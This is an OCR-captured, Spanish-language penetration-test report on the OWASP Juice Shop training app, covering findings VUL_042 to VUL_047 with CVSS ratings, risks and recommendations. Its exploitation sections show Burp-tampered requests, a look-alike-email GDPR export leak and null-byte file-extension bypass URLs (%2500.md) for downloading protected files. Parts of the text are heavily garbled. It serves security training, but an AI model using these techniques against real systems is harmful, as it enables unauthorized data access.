Una vez en la pantalla de feedback enviamos un comentario normal y lo interceptamos con una
herramienta tipo burp. Modificamos el valor del parametro “rating” al deseado y la enviamos. La
aplicacion la aceptara.

Burp Project Intruder Repeater Window Help
Dashboard  Target  Prowy  Intruder  Repeater  Sequencer  Decoder  Comparer  Logger  Extender  Projectoptions  Useroptions  Learn
Intercept  HTTPhistory  WebSockets history  Options

& Request to http:/f192.168.42.194:3000
[ Foward || Drop

Action || ©pen Browser

Raw Hex

POST /api /Feedbacks/ HTTP/1.1

Host: 102.168.42.194:3000

User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

Accept: application/json, text/plain, */*

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

authorization: Bearer

eyJ0eXAL01JKV1Q1LCIhbGe101 ISUZI INLIS. ey Jzd GFOAXML 01  zdWN] ZXNzI 1wl ZGFOY SI6ey Jp ZCI 6MSwidXNLemShbwui 01 11L.C) LbwFpb CI6ImFkbwluQGp 1awNlLXNoLmSwI1wicGFzc3dvemQLol Twh
VRvaZVuT j o1 TiwibGFzdExvZ21uSXAL 01 Twlj AUMCAwT i wicHIvZnl s ZULYWLT j 01Y XNz ZXRzL3BLY mepY ySpbFnZXivdXBsb 2Rk cy Sk 2WZhdwx OQWRt akl4ucGSnT 1 wi d GI0CFNL Y3 LdCT 611 TsTmlz Qb
1L.€J1cGRhdGVk QX1 01 T yMDT yLTA2L TESIDEAD] UOO] Bwlj QuMi ArMDAGMDAL LCJk 2vx L dGVKQXQ1 OmS 1bGx SLCIpY XQ1 0] EZNTUZN] USN] csTmyAcCT BMTY INT Y 4Mzk 2N30. gX77u2thnb8Pakipoveo C_cDg
FPBIFLeSKAIOhdATUI BQSzFek 36xHUK A 0G5k FXy MVLLSS- vUuyOwPUROYmSMEWp21K3pQas

8 Content-Type: application/json

9 Content-Length: o4

10 Origin: http://192.168.42.194:3000

11 Connection: close

12 Referer: http://192.168.42.194:3000/

13 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; continueCode=PVgMZEAPELENXYx]wo0Q2vgjnG7biRpfhXH78dKa3071b rkDSyzREemkPLOVX; tc
eyJ0eXAL01JKV1QiLCIhbGei0l JSUZI INLIS. ey zd GFOAXMI 01  zdWNj ZXNz1 1wl ZGFOY SI6ey Jp ZCI 6MSwidXNLemshbwui 01 11L.CJ LbwFpb CI6ImFkbwluQGp 1awNlLXNoLmSwIiwicGFzc3dvemQi ol Twh
VRvaZVul j o1 TiwibGFzdExvZ21uSXAL 01 Twlj AUMCAwT i wi cHIvZnl sZULYWLT j 01Y XNz ZXRzL3BLY mepY ySpbFnZXivdXBsb 2Rk cy Sk 2WZhdwx OQWRt akl4ucGSnT 1 wi d G30CFNL Y3 LdCT 611 TsTmlz Qb
1L.€J 1cGRhdGVK QX101 T yMDT yLTA2L TESIDEAD] UOO] Bwl j Qi ArMDAGMDAL LCJk 2vx L dGVKQXQ1 OmS 1bGx SLCIpY XQ1 0] EZNTUZN] USN] csTmyAcCT BMTY INT Y 4Mzk2N30. gX77u2tNnb8Pakipoveo C_cDg
QFPBIFLESKAIOhdAIUI BQSZFek 36X HUK tA] 0gSk FXyMVLLSS - vUuyOwPLNOymSMEWp2LK3p Q48

P
1
2
3
4
5
6
7

14
15 {
"UserId":1,
vcaptchald':0,
veaptcha:' 0",
"comment" :"hola mundo (#*+in@juice-sh.op)",

"rating’:1
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VUL _042 — GDPR Data Teft — Fallo filtrado de
peticiones

GDPR Data Teft

Vul_042 6,5 MEDIA

http://juice.shop/rest/user/data-export
http://juice.shop /#/privacy-security/data-export

Para cumplir con el RGPD, Juice Shop ofrece una funcién de Solicitud
de exportacion de datos para sus clientes registrados. Es posible
explotar una falla en la funcién para recuperar mas datos de los
previstos

Esta falla tiene que ver con que los pedidos almacenados se
relacionan con el email del cliente, del cual se sustituyen las vocales
por un caracter “*” para crear cierta ofuscacion.

DESCRIPCION Debido a ello, una consulta desde el usuario casa@juice-sh.op o
desde el usuario cosa@juice-sh.op arrojara los mismos resultados.

Ello permite a un usuario malintencionado crear una cuenta con un
correo parecido al de la victima y recuperar la informacion de
exportacion de la misma.

Asi mismo, puede generar errores inesperados entre usuarios
legitimos que tengan correos parecidos.

Request Response

-8 =

1 CET frest/track-arder/f¢57- 6170835583705008 HITR/L, 1
2 3000

£55_61; £u1S1.0) Gacka 20100101 Firsfox/1.0

2l 2aub 3 |

R s

EVIDENCIA Imagen de una peticidn legitima de exportacién de datos que revela
que los correos electrénicos no se guardan con todos sus caracteres.
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RIESGOS

RECOMENDACIONES

REFERENCIAS
Vul_042

CVSS3 PUNTUACION

Vector de Ataque

Complejidad

Privilegios requeridos

Interaccion del usuario

Alcance

Imagen de una exportacion de datos realizada desde la cuenta
evogin@juice-sh.op que estd mostrando una compra realizada desde
la cuenta uvogin@juice-sh.op a pesar de no ser suya.

Un usuario malintencionado puede acceder al histérico de pedidos de
cualquier cliente y obtener informacidn sensible.

Un usuario cualquiera puede, por casualidad, acabar viendo datos de
otros.

La tienda se expone a recibir denuncias por errores en la GDPR.

Dafios en la reputacion de nuestro negocio y perdida de clientes.

El hecho de que los pedidos no guarden completamente el email es
algo interesante. No mostrar la totalidad de los datos de los clientes
es una buena opcidn para mejorar la privacidad de los mismos. No
obstante, los pedidos de cada usuario deberian recuperarse de una
manera segura, por ejemplo, a través del id de la persona o basados
en una autenticacion segura.

EVALUACION DE CRITICIDAD CVSS 3.1

GDPR Data Teft

MEDIA 6,5

Red: el ataque se puede montar a través de Internet.

Baja, se puede dar incluso de forma casual entre los clientes de la
aplicacion.

Bajo, se requiere crear una cuenta de usuario comun que es accesible
a cualquier persona.

Ninguna, el atacante puede acceder a la informacidn sin requerir
ninguna accién por parte de otros usuarios.

Sin cambios, la vulnerabilidad se ejecuta y afecta a la aplicacion.
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Confidencialidad Alta, permite obtener datos privados de clientes.

Integridad Ninguna, no permite alterar los datos existentes.

Disponibilidad Ninguna, no permite denegar el acceso a los datos.

EXPLOTACION

Si realizamos un pedido de prueba en juice.shop y visitamos la pagina de seguimiento del mismo
(track-result) podremos ver como la web realiza una peticién al back end para obtener los datos de
del pedido en curso basandose en el “id” del mismo.

En esta peticidon se ve claramente como las vocales de los correos se sustituyen por el caracter “*” lo
gue nos hace sospechar que:

- a) los correos se guardan tal cual se muestran.
- b)los correos se tratan para ofuscarse antes de la respuesta del servidor.

Ordered products

Fig. 1: Imagen de la pdgina de sequimiento de pedidos
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Fig. 2: Imagen de la peticion legitima que hace dicha pdgina de seguimiento para recuperar los detalles de los
pedidos.

Al solicitar una exportacidn de datos, vemos que se listan diferentes pedidos con diferentes “id’s”, lo
que sugiere que los mismos se recuperan identificando el usuario.

Si inspeccionamos un poco mas los datos devueltos en una exportacion de datos, vemos que para la
identificacion del usuario solo hay el parametro “username” y el parametro “email”.

Estos hechos sugieren que es probable que la consulta/busqueda/recuperacion de datos se realice a
través del correo electrénico del usuario listando todos los pedidos relacionados con el mismo.

Suponiendo que asi sea, y que los correos electrdnicos se guarden omitiendo las vocales, la consulta
del usuario cosa@juice-sh.op y casa@juice-sh.op deberia arrojar los mismos resultados porque para
el sistema el correo es c*s*@juice-sh.op en ambos casos.

Realizamos la prueba de concepto realizando una exportacién de datos desde la cuenta
evogin@juice-sh.op que efectivamente, mostrara una compra realizada desde la cuenta
uvogin@juice-sh.op a pesar de no ser suya.

Request Data Export

Fig. 3: Prueba de concepto de exportacion indebida de datos.
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VUL _043 — DEPRECATED B2B Interface

DEPRECATED B2B Interface

4,3 MEDIA

http://juice.shop/#/complain

En el formulario de quejas encontramos una funcionalidad para cargar
archivos. Segun el tipo que intentemos subir, el formulario nos dice que solo
se permiten archivos .pdf y archivos .zip.

Sin embargo, se descubren restos de un antiguo cddigo usado para clientes
DESCRIPCION B2B que permite subir archivos .xml por lo que si simplemente seleccionamos
un archivo de este tipo lo podremos subir sin problemas y saltarnos esta
medida de seguridad.

Es importante destacar que los archivos XML pueden representar un vector de
ataque muy importante dentro de la explotacion web.

Complaint

asdfasdf

© Max. 160 ¢

Invoice: access.l0g.2022-07-11

EVIDENCIA

Imagen
del mensaje que envia el formulario al tratar de cargar un archivo .jpeg a través
del mismo diciendo que solo PDF y ZIP se permiten

v wa ams W e . 1azeein
w4 ken 15218141
¥ cap 12814t

: EI T Imagen
del envié exitoso de un archivo .xml a través del formulario anterior.
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RIESGOS

RECOMENDAC
IONES

REFERENCIAS

En primer lugar, es claro que existe una mala practica por parte de los
desarrolladores de la aplicacion que puede darse en mas lugares, conviene
revisar como se esta trabajando para mejorar la forma de hacer las cosas.

En segundo lugar, los archivos .xml pueden usarse maliciosamente para
explotar vulnerabilidades de LFl y RCE por lo que debe cuidarse mucho como
se aceptan estos archivos y los controles de seguridad que se establecen.

Por ultimo, deberia existir una validacion en el back end que no permitiera
este tipo de archivos porque si la validacion del front end falla como es el caso,
el back end proteja la seguridad de la aplicacion.

El cédigo debe mantenerse limpio y eliminar completamente aquellas partes
gue no sean Utiles y mas aun si pueden desenfocar en una falla importante de
seguridad.

Es muy importante que todas las entradas de datos que recibe el back end se
filtren nuevamente porque es posible interceptar y alterar todas las peticiones
enviadas al mismo y saltarse las medidas de seguridad instauradas en el front
end.

https://owasp.org/Top10/A05 2021-Security Misconfiguration/

https://www.packetlabs.net/posts/broken-access-
control/#:~:text=Broken%20access%20controls%20are%20the,10%20web%2
Oapplication%20vulnerabilities%20list.

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_043 DEPRECATED B2B Interface

CVSS3 PUNTUACION MEDIA 4,3

Vector de Ataque Red, es accesible desde internet

Complejidad Baja, no se requiere de circunstancias especiales para realizarla

Privilegios requeridos Bajo, se requiere una cuenta normal de usuario
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Interaccion del usuario

Alcance

Confidencialidad

Integridad

Disponibilidad

Ninguna

Sin cambios, la vulnerabilidad nace y afecta a la aplicacion

Ninguna pues no se accede a datos sensibles.

Baja porque permite subir ficheros no permitidos a la aplicacién

Ninguna, no permite denegar el servicio.

EXPLOTACION

Al revisar el cddigo javascript de la aplicacidon nos encontramos menciones a una interfaz B2B:

* @ 192168.02 1943000 “15px
Dy (index)
1) 103istine 1 > sreScrip fort.
- ‘ritet,
WG “ranst.
15 polyfills s
15 runtime.s
15 vendors
» @ cdnjs cloudfare com

b @ resourcelgre

bel .
rea for uploading a single involce POF or JML 828 order Tile or a ZIP archive contalning multiple Lnvaices or orders<l----»',

margin-left’,
10px°.

uploager

filecontral’,

En la ruta /#/compilant nos encontramos esas mismas menciones:

a L + # T

- ch; flex-directio box-s1aing: border-box; display: flex;> (Flex atenm

)
Inherit
Bluey
vent e o

TLEUA- tyve.hed 1g-pristine ng-star-Lnserted nat. form. F1eLd-shoVLd- Mlaat™ _ngcontent.vil-€164="" appearance

mat-accent Torn-Tleld-Type.eholder ng-untouched ng-pristine ng-imvalld ng-star-inserted” _ngcontent-vwl-cl64="" appearance="outiine" fau

Como vemos, antes se permitia cargar en la web los tipos de archivo pdf, xml y zip. Sin embargo,
actualmente solo se permiten zip y pdf, segin muestra el mensaje de error que muestra la aplicacion
al tratar de subir un JPEG.
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Complaint

Invoice: accessl0g.2022-07-11

Sin embargo, si subimos directamente un archivo .xml se enviara, se subira y no dara ningun error:

You successfully solved a challenge: Deprecated Interface (Use a deprecated B28 interface that was not properly shut down.)

Complaint

> Submit

A continuacidn, vemos la captura en BURP de la subida exitosa de dicho archivo:

o hepnsaaes 413000 sosr v w0 wes m L waasaia 20883102., s0%0
00 upma i 3000 arr w0 4 ssow 12168141 10543105 4080
o1 upmazises srzom s W w wm b e 220343100, 3080

= | toapector s I :© x

R ——— @ v

Reauest B Farameters D -

Recpest Coies D -

L p— u v
Content-Type
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VUL_044 — ANADIR PRODUCTOS descatalogados a
la cesta

ANADIR PROD S descatalogados al a cesta de la compra

Vul_044 5,4 MEDIA

http://juice.shop/api/Basketltems

Cuando se afiade un pedido a la cesta, el front end realiza una peticién
al back end, concretamente a la ruta /api/Basketltems.

Para identificar el producto solo se manda su ID, que es numérico.

Se descubre que los ID de productos se generan de manera incremental

DESCRIPCION y légica, de forma que la aplicacién tiene productos conid’s 1,2,3,4, etc.

El back end confia plenamente en que estas peticiones que le llegan
del front end son buenas, puesto que solo se muestran en el mismo los
productos disponibles, sin embargo, es posible cambiar estos id’s y
enviar productos descatalogados que se incluirdn en nuestra cesta
puesto que el back end no verifica que los productos estén disponibles.

=l o (<)
Request Response
1w v B 0 = M row tex rercer B0 =
1 POST /apa/BasketItems/ HTTP/1.1 L HTTP/1.1 200 OK
2 Host: 192.168.42, 194: 3000 2 access-Control-Allow-Origin: =
: User-Agent: Mozilla/s.0 (X11; Linux x85_54; rv:S1.0) Gecko/20100101 Firsfor/s1.0 : X-Content-Type-Options: nosmiff
2 pccept: application/json, text/plain, 7+ 4 X-Frame-Options: SANEORIGIN
S Accept-Language: en-US,en;g=0.5 S Feature-Policy: payment ‘self’
& Accept-Encoding: geip, deflats © comtent-Typa: spplication/jaon; charsateutd-a
Ruthorization: Bearer ength: 158
oy J0BXALOLIKV101LCIhbGe1 OLISU2T 1N 39, ey I2dGFOBXIL 01 ) 2Ny ZXNET 1wl ZGF pzcIeMswidxlens o 98-3f /aCKAPWRLIL QWSR2 0980k dus*
hbUz 01 T3 L€ 1bWFph CL ST mFkbiLu CGp]aNNleN loLmOwI iwi cGFze3dve HQJU ]wMT yMDlz\’Td ¥mQEM=T IMDUx N ecept. Encoding
U2 EdY UM ST bl 0 hZGls Lol 2wl e i Lo Al 3w Date: Sun, 12 Jun 2022 25:18:49 GMT
orwdlIjoi Zhawxoa 1 31 comnection: close
lvaJ duem-,.[muowodxzuww v‘lLCJJuthJGVkQ)(OLDAIyI‘DIyLTAZLTEyID[yﬂJUnGJ WaLjUKNLAFMDAGMDA 12
§L.C) 1 GRhdGVk QXGL0L T yMDIyLT A2LTEyI DI yO] U3 M2L Ui AT MDAGHDAS L LIk ZWx | dGuk QX Q1 OmS1bGxaLCIpY X 13 {
107 E2NTUWHz USNTHST nVAcCLETY INT ASMoE 1M30. LoUHSG27 gEc 21 proZrnZvrhgHa7dLhRdk 3gxsZe_4dhAaF3 "status':"success’,
g5290xFudogSrPSe_ 42d6604Ce | TH_1_758B_P3Gat { 0a- JwpOBKeoLF 5TbNBoqw ndatar:{
tUZJZGK JKvQJJlJVZ‘Z]\.?quO "1dvi14,
& Content-Type: application/json *Productl
Content-Length: 44 *Basketld
10 Origin: http://192.168. 42, 194:3000 squantity*:l,
11 Connection: close *updatedAt” ;*2022. 06- L2T23; 15: 49. 6862" ,
EVl DENCIA 12 Referer: http://162.168.42.194: 3000/ *createdat’ 1 2022- 06- 12123 15: 49. 6562
: Cookie: lsngusge=en; welcomebanner_status=dismiss; cookieconsent status=tismiss; }
mmnuecunc—zewswc\ ¢TXUVEKTB-buE] QUpke341 81 Db XS0 UL L T24TEqAa00234n; ¥
s Code il - ObcBarbSacP, et TSVl ol aq2aphod Oer 25y 4ROl
cont CodeF1xl 4! ] XprAvOL: Qlg; token=
Pt iy g, e b ks O
bWl 0113 LCI LbwFpb CT 6T mPx bW LuQGp 1aWwNLLXNoLmSwI 1wl c GFze3dve 0 DlIwW yHDl YT d1YmQ3MzI Y
Nj LkZJE4Y JUMMCI S ndvbGL 03 JhZG1pbs TsInAl Tjeili L AUMCAWT
ScHUwzalsZUl tYwdLI joi YkNZZXRaL ucGsnl 2w dOSOCFN
L)L ACT8E 151 MLZNNDRKZLE ) poenLLCA emhdGUKACH O TYPOT YL AZLTEYEDT Y03 UaO) HAL e APPDASHDA
LLCJ LeGRhOGVKQXQLOL L yMDTYLT AZLTEyIDL O] kD) M2L ) Lix i AT MDAGMDAL LTI KZWx LGV QX QL OMS1bGXELCIDY XQ
107 E2NTUWHzUxNTMsT miAcCIEMTY INTASMzE1M30. LoUHS027 f qEcz1pro7rnZvHohg6H07d LRk 3gx S2o_d4dhAaMF3
PMLSHKF IWOXrqS29CXFudog tSrPSe_SyAqugwystS\CA2d6E0ACa L TH | 7508 PaGaff Cu- JupOBKE aLF SfbIXESq
tuz_p2gxtikvg blavasziuagakg
14
15 ¢
“productrd: :1p,
"Basketrd":'1",
"quantity” i1
}

Imagen de la peticion de afiadir a la cesta un producto descatalogado.
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Imagen de la cesta con el producto afiadido.

Un usuario malintencionado puede conocer todo el catdlogo que
hemos tenido de productos para obtener mas informacion.

RIESGOS Malfuncionamiento de la aplicacion.
Es una vulnerabilidad que sugiere que pueden existir otros errores
parecidos mucho mas criticos.

El back end deberia validar que los productos que se solicita agregar a
la cesta de la compra estan disponibles.

RECOMENDACIONES

REFERENCIAS L8955 0B A o
community/vulnerabilities/Improper Data Validation

EVALUACION DE CRITICIDAD CVSS 3.1

Vul_044 ANADIR PRODUCTOS descatalogados a la cesta de compra

CVSS3 PUNTUACION MEDIA 5,4

Vector de Ataque Red, es accesible desde internet

Complejidad Baja, no se requiere de circunstancias especiales para realizarla

Privilegios requeridos Baja, se requiere una cuenta de usuario regular

Interaccion del usuario Ninguna
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Alcance

Confidencialidad

Integridad

Disponibilidad

Sin cambios, la vulnerabilidad nace y afecta a la aplicacién

Baja, permite descubrir productos descatalogados de la aplicacién
gue no deberian ser visibles

Baja, permite generar pedidos con productos descatalogados.

NINGUNA, no permite denegar el servicio

EXPLOTACION

Explorando la aplicacién nos encontramos con esta ruta de la api:

http://192.168.42.194:3000/api-docs/swagger.json

NextGen B2B AP| €22

New & secure JSON-based API for our e

M

sarvers
order AP for customer orders

L /orders
Schemas
Order >

OrderConfirmation >

OrderLine >

tomers. (Deprecates previously offered XML-based endpoints)

En ella podemos observar cémo no se comprueba si un producto estd o no descatalogado para

lanzar el pedido.
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http://192.168.42.194:3000/api-docs/swagger.json

Schemas ~

Order ~ {
cid® string
uniqueltens: true
exasple: 15081506
OrderLines > |.
orderLinesData OrderLinesData string
exasple: [{“productld
2000, "customerRetarence

orderLines

12,"quantity”: 10808, "customerReference”
"PODG0SDO3 . 47} ]

["P08BOOGD1.2", "SH20180105042"], "coupenCode”: "pes[Bh.u*t"},{"productld”: 13,"quantity":

Ordsr line(s) in custoner specific JSON fornat

OrderConfirmation ~ {
a string
uniqueItens: true
exanple: ISO815DE
ordertio* strin
uniqueItens: true
exanple: 3dBBacielbdf3Sd26392181807124742
paynentbue* string(sdate)
axasplo: 2015-01-13T67:02:86. 5602

ALl paynents are due 14 days after order placement

OrderLine v {
deseriptio

Order Line in default J

productId® integer
exanpl

quantitys integer
nininun: 1

example: 500
customerReference  string
exasple: POOOGDACI

OrderLines v [OrderlLines v {
description:

order Line in default J

Al afadir un producto cualquiera a la cesta de compra, podemos ver como en la peticion solo se
lanza el ID de producto, la cantidad y el ID de cesta:

ot eep actin | opemsowar | . PR
o - e
api PRnshet ey T
152, 180,42, 00, 2000
agent: izl

«

1

11; Uinux 08 64; ry:91.0) CockosZ0100101 T rafon/91.0

HO193dSNI

©iohZoLsbiTs I

X 0.0 24 ZHN2 T 14 2T DF ST s b1 123 LTl VG 0L TuM Ty LT HOGHE DNt ThZELY U HET ST az
- 2 Cajembicik

- it cravoalen, Vo TETAL T T pocn G T TyMOI T A1 TR TET Y0 01§ L AR,
CEA UK T Ty Ty e AFAEHD Lk e LG 4 CrrS16 e3P VT € B L S 2a_eahaarEsn g gtoaPse_: =
ik _a_zmoe it et BRIk LR sk

POty T2 mRlbHAT

o e
iz o LonPSe_Seigiques a2

Si se intercepta esta peticion, se pueden lanzar varias con diferentes id’s de producto hasta dar con
los que estan descatalogados y no salen en la tienda:

Response
0 Raw Hex R =

1 POST /api/BasketItems/ HTTP/1.1 1 HITP/1.1 200 OK

2 Host: 192.168.42.194:3000 2 Access-Control-Allow-Origin: *

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rvi91.0) Gecko/20100101 Firefox/91.0 3 X-Content-Type-Options: nosniff
4 Accept: application/json, text/plain, +/+ 4 X-Frame-Options: SAMEORIGIN
S Accept-Language: en-US,en;q=0.5 S Feature-Policy: payment 'self'
6 Accept-Encoding: gzip, deflate 5 Content-Type: application/json; charset=utf-g8
7 Authorization: Bearer 7 Content-Length: 158

eyJ0eXA1 01 JKV1Qi LCIhbGEi 01 JSUZI 1N J9. eyJ2dGFOXMi 01 J2dWNj ZXN2Tiwi ZGFOY SI6eyIpZCIEMSwidXNLemS & ETag: W/*Oe-Jf /aCKXAPWRLEQUEFM2S0980K dus "

hbWUi 0113 LI 1bWFpbCIEInFkbWLUQGR LaWNLLXNLmEw] i wi cGFzc 3dvemQi 0L TwMTk yMOL ZY Tdi YmQ3MzT IMDUXNmY
wij LkZj E4Y jUwMCI sInJvbGU1 01 JhZG1pbi I sImRLbHV4ZVRva2Vul joiliwl bGFzdExvZ2LusxaAi01Iwlj AUMCAWI 1w
1cHIvZml sZULtYWdLT joiYXN2ZXR2L 3BLYmypY yOpbWFnZ XMy dXBsh 2Pk cy ok Zwzhdwix OQWREaWALCGSN T 1wi dGI0CFN
1v201dCI6I1TsImlzQWNOaXZ L ] pOcnV1LC) ] cmvhdGVkQXQi 0L IyMDIyLT AL TEYIDI y 0] UnOJM2L] UxNL ArMDAGMDA 12
1L.CJ 1cGRhdGVk QXQLOLTyMDI yLT A2 TEYIDI y0j UwWOJM2L j UxNLArMDAGMDALLCIk2wx 1d Gk QXQiomS1bGxroLCIpY XQ 31{
10] E2NTUWNZUXNT MsT m/4eCT 6MTY LNT ASHZE1M30. LoUHIQ27f Ec21pro7rnZvHohqeHO7dLhRak3gxS20_adhAaMF2 "status’:"success',
7M1SHKFIWOXrq529CKFudogtSnPSc_SvAgVgwystSNReA2d660ACelTH i_25B8 PsGBI f Ow- Jwp0SKcoUFSfbIXBogw
tU3_p2gXtjKvQ_blivaKziu3qskQ

Vary: Accept-Encoding
Date: Sun, 12 Jun 2022 23:
1 Connection: close

4s aMT

2 Content-Type: application/json "ProductId®:10,
o Content-Length: 44 "BasketId":"1',
origin: http://192.168.42.194:3000 "quantity":1,
Connection: close "updatedAt” :* 2022 06- 12T23: 15:49.6667" ,
Referer: http://102.168.42.194:3000/ "ereatedat® ;" 2022 06-127T23: 15:40. 6667
3 Cookie: language=en; welcomebanner_status=dismiss; cookieconsent_status=dismiss; }
continueCode=Z6MROBrvGLYIx UV tKTEHbUEL QUpkc34ie ] DbHyXSoxUL LT 24TEqAa0D234n; ¥

continueCodeFindl t=0bdNGoXb5gGP] a6Mr 7B3KVLmLnZo 6L eqZqpNO2k DexYESY JdzRvOQLw2x g ;
continueCodeFixT t=MIPSKk 5w vRHMKSEQPLwYEgl ] XprAVO1 wa10enBDGAqrbZ2V0370dyBzN]Qlg; token=
£yJ0eXA1 01 JKV10Qi LCIhbGC1 01 JSUZT 1N J9. eydzdGFOd XM 01 JzdwNj ZXNZT i wi ZGFOY ST 6y IpZC1 6MSwi dXNlcmS
WU 01 Ti L €I 1bWFpbCISTMFk bWLUQGP LaWNLLXNOLMOWI i wi cGFze3dv emQi 01 TwMTk yMOL 2Y Tdi YmQ2MzT IMDUXNmY
wNj 1kZj E4Y FUWMCT STnIvbGUi 01 JhZG1pbi TsTmRLbHV4ZVRya2VuT joiTiwi boFzdEx v Z2LUSKAL 01 Twlj AUMCAwT iw
1cHIvZmlszultywdlIjolYXNzZXRzL3B1YmxpY ySpbwFnZxMydxBsb2Fk cy ok Zwzhdwx 0QWRtaWALCGSN I 1wl dGIOCFN
172 LdCI6Ti s Iml2QWNDaXZ1T § pocnv1LC] j emvhdGVk QXQi 01 TyMDIyLT A2L TEYTDI y0j UWOjM2L ] Ux N ArMDAGMDA
1L.CJ1cGRhdGVK QXQL 0L TyMDT yLTAZLTEYIDI y 0] Un0jM2L ] UxNL ArMDAGMDALLCIk Zvix Ld Gk QXQ1 OmS1bGxOLCIRY XQ
107 EZNTUWNZUXNTMsImvacCI 6MTY LNTASMzELM30. LoUHSQ27f qEczIpro7rnzvHshq6Ho7dLhRak 3gxS2o_ddhaaMF3
7M1SHKFIWOXrq52gCXFudogtSnPSe_SuAqVgwvStSNReA2d660ACeTH i 7588 PsGBI f Q- JwposKcoUFSfbIXBagw
U3 _p2gXtiKvQ_bLIV2KZiu3q3kq

"ProductId:1p,
*BasketId":"1",
"quantity”:1
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Raspberry Juice (1000ml)

Christmas
su
Surprise-Box Christmas Super-Surprise-Box (2014 Edition)

(2014
Edition)

OWASP Juice Shop-CTF Velcro Patch

Al no haber un control en el back end para revisar si los productos afiadidos son vélidos y confiarse

plenamente en el filtro existente en el front end es posible realizar la compra de un producto que no
tenemos:

a5 Special (Order the Cnristmas special offer of 2012,)

Order Summary
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VUL _045 — MISPLACED File Signature

Vul_045

DESCRIPCION

EVIDENCIA

RIESGOS

MISPLACED File Signature

0 INFORMATIVA

http://juice.shop/ftp/suspicious_errors.yml

Se encuentra en la aplicacién un archivo SIEM SIGNATURE que revela
cierta informacion y que es accesible desde internet.

En concreto este archivo nos habla de un servicio errorhandler
existente en la aplicacion que detecta mensajes de error que se
producen ante ataques a la aplicacion.

Ademas, para acceder al mismo se debe hacer uso de una
vulnerabilidad ya explicada de LFl y se encuentra desprotegido en el
directorio FTP.

No obstante, debido a que la vulnerabilidad de LFl se encuentra
debidamente valorada en su lugar y que el contenido del archivo no es
excesivamente dafiino, se ha valorado como una vulnerabilidad
informativa de nivel 0.

Captura del directorio vulnerable a LFl y accesible sin autorizacion
desde internet.

Captura del contenido del archivo

Como se menciond previamente, cualquier cosa que subamos al
directorio FTP podra ser descargada y leida por un atacante mal
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intencionado. Cuando mas sensible sea la informacion tanto mas
peligrosa se volvera esta vulnerabilidad.

Los archivos SIEM SIGNATURE pueden contener informacion
verdaderamente sensible sobre la aplicacién y sus procesos internos,
no es conveniente para nada que tengan exposicion a internet sin una
buena proteccion.

Eliminar el acceso al directorio ftp, que, ademas, es un tipo de servicio

RECOMENDACIONES gue se deberia de gestionar por otro lado y bajo medidas de seguridad.

REFERENCIAS https://github.com/SigmaHQ/sigma

EXPLOTACION

Accedemos al directorio y copiamos el link de descarga:

Obtenemos el siguiente:

http://192.168.1.41:3000/ftp/suspicious errors.yml

Lo editamos de la siguiente manera para poder descargar el archivo y leerlo:

http://192.168.1.41:3000/ftp/suspicious errors.ymI|%2500.md
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https://github.com/SigmaHQ/sigma
http://192.168.1.41:3000/ftp/suspicious_errors.yml
http://192.168.1.41:3000/ftp/suspicious_errors.yml%2500.md

VUL_046 - EASTER EGG AND NESTED EASTER
EGG

Easter EGG and NESTED EASTER EGG

Vul_046 0 INFORMATIVA

http://juice.shop/ftp/eastere.gg (revisar url)

En la programacion de aplicaciones que usan javascript es habitual usar
técnicas de ofuscacion de cédigo para que sea mas dificil de analizar y
comprender este pues es accesible desde el navegador de los usuarios.

El archivo eastere.gg contiene un reto que nos anima a conseguir

descifrar su contenido.
DESCRIPCION
A pesar de que para descargar el archivo se requiere hacer uso de la

vulnerabilidad de LFI, como esta ya se encuentra debidamente valorada
en su apartado la solucién de descifrado de este archivo se reporta como
una vulnerabilidad informativa puesto que su solucién no afecta a la
aplicacion en si.

Tras descifrar el contenido nos encontramos la ruta
/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/

egg que nos conduce a una aplicaciéon que muestra una bola del mundo
que en realidad es también una naranja:

EVIDENCIA
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Este archivo es un ejemplo de que a pesar de usar una ofuscacion de
cddigo en Javascript siempre debemos tener en cuenta que alguien
RIESGOS puede llegar a descifrarlo, por lo que aparte de usar métodos propios
mas dificiles de romper, no se debe usar informacidn sensible en el
mismo.

Usar métodos de ofuscacion avanzados.

RECOMENDACIONE
= El javascript que se pueda revisar desde un navegador, no deberia

contener nunca informacion sensible.

REFERENCIAS https://blog.jscrambler.com/javascript-obfuscation-the-definitive-guide

EXPLOTACION

Primero nos descargamos el archivo a analizar aprovechando la vulnerabilidad de LFI:

http://juiceshop.com/ftp/eastere.gg%2500.pdf

Seguidamente, abrimos el fichero y encontramos el siguiente texto:

"Congratulations, you found the easter egg!"
- The incredibly funny developers

Oh' wait, this isn't an easter egg at all! It's just a boring text file! The real easter egg can be found here:

L2d1ci9xcmImL25Ici9mYi9zaGFhbCIndXJsL3V2cS9uYS9ybmZncmUvcnROL2p2Z3V2YS9ndXivem5mZ3JIL3J0dA

Good luck, egg hunter!

Lo primero que observamos es que muy posiblemente, la cadena esta codificada en base64. En este
tipo de codificacién se crean grupos de 4 caracteres alfanuméricos. Si la cantidad de caracteres
resultantes no es multiple de 4, se aflade un simbolo de igual “=" las veces necesarias hasta lograrlo.

Al observar la cadena vemos en ella estas caracteristicas y la decodificamos con una herramienta con
el resultado lo siguiente:

/gur/qrif/ner/fb/shaal/gurl/uvg/na/rnfgre/rtt/jvguva/gur/rnfgre/rtt
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http://juiceshop.com/ftp/eastere.gg%2500.pdf

Lo primero que vemos en esta cadena es que se repite mucho el caracter “/”. Parece una url pero las
letras no parecen tener mucho sentido. Claramente tiene otro tipo de cifrado pero que no deberia
afectar al caracter especial “/”.

Un algoritmo de cifrado que podria provocar esto seria el ROT-13, que mueve cada letra a la que
estd 13 posiciones mds a la derecha en el abecedario.

Si corremos un programa de descifrado de ROT-13 encontramos la ruta:

/the/devs/are/so/funny/they/hid/an/easter/egg/within/the/easter/egg

Si ponemos esta ruta en la aplicacién, encontramos el programa del easter egg.
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VUL_047 - OUTDATED Allowlist

BAJA O

http://juice.shop/main.js

Al revisar el cédigo javascript se encuentra una lista blanca de URL a las
que se permite redireccionar desde la aplicacion con la funcion
redirect?to=

Dentro de esas URL permitidas encontramos una no existente. En este
caso particular, el dominio tiene un propietario confiable y se ha valorado
esta vulnerabilidad como informativo, pero de no ser asi, un usuario
malintencionado podria comprar dicho dominio para crear una pagina
